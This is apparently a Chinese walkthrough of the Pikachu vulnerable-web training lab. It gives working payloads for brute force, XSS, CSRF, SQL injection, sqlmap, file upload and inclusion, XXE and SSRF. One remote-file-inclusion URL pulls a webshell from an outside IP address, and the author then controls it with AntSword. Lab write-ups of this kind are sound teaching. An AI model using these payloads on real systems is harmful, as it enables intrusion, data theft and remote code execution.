pikachu靶场通关
pikachu靶场通关
暴力破解
基于表单的暴力破解
抓包,发送到intruder模块,选中密码,添加payload位置
类型选择简单列表,选一个字典开始爆破
将爆破结果按照响应包长度排序,长度不一样就说明返回内容不一样,一般大概率就是登录成功的包
验证码绕过(on server)
有些服务器后台是不刷新验证码的,经测试只要不手动刷新页面,就不会更改验证码的值,可以先输入验证码之后和上一关一样使用burp抓包爆破
随便输入账号密码,填写正确的验证码,抓包,发送到intruder模块,选中密码,添加payload位置,选择字典开始攻击
按照响应包长度排序,查看响应包,登录成功
验证码绕过(on client)
客户端前端验证输入的验证码,可以直接禁用js然后抓包爆破,或者输入正确的验证码之后再抓包爆破
和上两关一样,随便输入账号密码,填写正确的验证码,抓包,发送到intruder模块,选中密码,添加payload位置,选择字典开始攻击
按照响应包长度排序,查看响应包,登录成功
token防爆破?
抓包发现有token参数,多次重放就会提示token错误。
这似乎可以有效的防止暴力破解,但真的是这样吗?
F12查看页面源码可以发现token参数就在前端页面中显示
抓包,发送到intruder模块,攻击类型要选择交叉攻击,两个payload自行遍历,互不干扰
第一个参数还是正常的密码字典
第二个参数我们需要在payload的设置里面找到 检索提取,点击添加
选中token所在位置,burp会自动生成正则表达式,点击确定
然后开始设置第二个参数,payload类型选递归提取,初始payload就写抓包得到的token,开始攻击
按照响应包长度排序,查看响应包,登录成功
XSS跨站脚本攻击
反射型xss(get)
前端有长度限制,关闭js或者前端修改长度验证,即可绕过
写入XSS语句,成功弹窗
1 | <script>alert('XSS')</script> |
反射型xss(post)
先按照提示登录进去,再输入XSS语句弹窗
存储型xss
写入XSS语句弹窗,刷新仍然弹窗,切入别的页面再切回来还是会弹窗
DOM型xss
输入的语句在标签中显示的位置如下
先闭合掉a标签,然后写入XSS语句,成功弹窗
1 | '><img src=x onerror=alert('XSS')> |
xss盲打
写入XSS语句,随便输入一个用户名,什么都没有发生
换了个浏览器,按照提示登录后台发现弹窗
xss之过滤
<script>标签被过滤了,我们可以用<img>标签来绕过
1 | <img src=x onerror=alert('XSS')> |
xss之htmlspecialchars
specialchars函数会把单引号,双引号,尖括号过滤了
输入框的值会成为a标签的href属性,使用javascript语句绕过
1 | javascript:alert(1) |
xss之href输出
输入XSS语句,检查源码发现尖括号和引号被编码了
使用javascript语句绕过
1 | javascript:alert(1) |
xss之js输出
先闭合掉<script>标签,然后输入XSS语句
1 | </script><script>alert('XSS')</script> |
CSRF 跨站请求伪造
CSRF(get)
按照提示的账号密码登录
抓一个修改个人信息的包,右键生成CSRF POC
我们这里更改手机号为88888888,复制html,另存为1.html
打开点击提交请求按钮
可以看到手机号已经被修改了
CSRF(post)
和上面一样的操作,先抓包,右键生成CSRF POC,这里把电话号码修改为00000000000
复制html,另存为2.html,相同浏览器打开,点击提交请求按钮。手机号就被修改了
CSRF Token login
在请求地址中增加一个Token, 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 就可以防御CSRF攻击
在修改信息处F12可以看到前端新增加了token参数,无法进行csrf攻击
SQL注入
数字型注入
sql注入一般是要测试注入类型的,但是本题已经告诉你是什么注入了,直接开始测
使用order by来测字段,测试payload如下
1 | id=1 order by 2# //正常回显 |
测试发现有两个字段,然后用select语句看回显位,两个字段都会有回显
1 | id=1 union select 1,2## |
查数据库和版本
1 | id=1 union select database(),version()# |
查数据库的所有表名
1 | id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' |
查看user表的所有字段名
1 | id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' |
查看用户名和密码的字段数据
1 | id=-1 union select group_concat(username),group_concat(password) from users |
字符型注入
单引号测试,没报错,说明闭合符号为单引号
1 | 1' or 1=1# |
后续就按照数字型注入的流程就能注入成功了
1 | 爆表名:-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'# |
搜索型注入
使用%闭合前面,测字段发现有三个字段且都能回显,然后还是使用上面的方法注入
1 | 爆表名:%-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='pikachu'# |
xx型注入
闭合符号变成了’),其他还是同样操作
1 | 爆表名:-1') union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'# |
insert,update注入
可以使用报错注入来爆出数据
1 | 爆数据库:123' and (updatexml(1,concat(0x5c,database(),0x5c),1)) and ' |
delete注入
还可以用报错注入来爆出数据,需要在留言板先写入数据,在删除的时候抓包,修改id参数实现注入
1 | 爆数据库:123 or (updatexml(1,concat(0x5c,database(),0x5c),1)) |
http header注入
登入后发现在页面显示了用户的请求头信息
在UA头输入测试语句,页面有报错,说明存在注入
在UA头处使用报错注入payload爆出数据
1 | 爆数据库:123' and (updatexml(1,concat(0x5c,database(),0x5c),1)) and ' |
基于布尔的盲注
盲注建议使用sqlmap来跑,成功爆出所有数据库
1 | python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs |
基于时间的盲注
同样使用sqlmap来跑,成功爆出所有数据库
1 | python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs |
宽字节注入
如果数据库使用了gbk编码,可以采用宽字节注入。
%df’传入url里时会进行一次url编码,但是先替换,也就是先变成%df\‘编码为%df%5c%27,再转回来,但是由于使用了gbk编码,会将前两个字节自动转化为汉字%df%5c就会自动转换为汉字,从而绕过\
1 | 爆数据库:-1%df' union select 1,database() --+ |
RCE命令执行
exec “ping”
使用管道符绕过,命令执行成功
exec “eval”
eval函数将字符串当作php代码解析执行,system命令执行成功
文件包含
先在pikachu网站根目录写下flag.txt文件,把他当作要读取的目标文件目标文件,之后的所有题目都用的此文件
本地文件包含
利用相对路径读取到flag文件,当然实际情况下相对路径就是猜的
远程文件包含
我们在自己服务器上写一个木马,在这里远程包含我们的木马文件,然后通过蚁剑连接,以此来getshell
在自己的云服务器上写个木马文件的txt,试着访问一下可以成功
然后filename参数传入远程文件地址,包含远程文件,并把文件当成php来执行
1 | http://pikachu/vul/fileinclude/fi_remote.php?filename=http://120.27.156.43:1234/shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
写入成功后蚁剑连接,连接成功
文件下载
抓一个下载的包,修改需要下载的文件名
放包,成功下载到flag.txt文件
文件上传
前端检验
上传一个一句话木马,发现有前端校验
删除前端校验函数,上传一句话木马,上传成功
蚁剑连接,连接成功
MIME验证
修改Content-Type字段为image/jpeg绕过验证
蚁剑连接,连接成功
图片马上传
思路:getimagesize()函数校验图片信息,所以只能通过上传图片马然后配合前面的文件包含漏洞解析
首先上传图片马,上传成功
利用本地文件包含,弄清楚相对路径,成功解析图片马
1 | http://pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/09/18/30425466eae40bf1b1c866835894.png&&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
蚁剑连接,连接成功
越权漏洞
水平越权
先按照提示选择一个账户登录,查看个人信息
1 | http://pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
发现用户名在url中显示,尝试修改用户名为别的用户,例如lili
1 | http://pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF# |
页面回显出lili的信息,实现水平越权
垂直越权
查看提示,发现有两个用户,一个管理员用户,一个普通用户
先登录管理员用户,发现可以添加任意用户
点击添加用户,将添加用户的url复制下来
1 | http://pikachu/vul/overpermission/op2/op2_admin_edit.php |
退出管理员用户,登录普通账户,可以看到只有查看权限
我们将刚复制的url粘贴覆盖这个url,我们就以普通用户的身份登录到了管理员后台
尝试添加用户aaa,可以看到用户添加成功,实现垂直越权
目录遍历
随便点击文件,发现参数后面直接把文件名称暴露出来,可以利用相对路径以及文件名称来读取任意文件
还是利用上文写的文件 flag.txt
猜测相对路径,成功读取到flag.txt
1 | http://pikachu/vul/dir/dir_list.php?title=../../../flag.txt |
敏感信息泄露
ctrl+U查看网站源码,发现有泄露出来的账号密码
成功登录测试 用户
PHP反序列化
由于题目没有任何利用函数,我们尝试序列化xss语句来弹窗达到利用目的
payload如下:
1 |
|
XXE漏洞
后台没有对变量接收的xml数据进行安全判断就直接进行xml解析, 从而导致xxe漏洞
如下代码所示, 利用file伪协议读取flag.txt文件
1 |
|
成功读取
URL重定向
点击最后一句话,url栏出现url参数
我们可以构造参数值跳转到参数网站
1 | ?url=http://www.baidu.com |
成功跳转
SSRF服务端请求伪造
ssrf(curl)
可以看到url参数读取的是本地的info1.php
我们可以构造url参数为任意服务器本地文件,读取pikachu根目录flag.txt文件
1 | http://pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/flag.txt |
成功读取到flag.txt文件
ssrf(file_get_content)
这关可以配合php伪协议来读取文件
base64解码得到flag.txt文件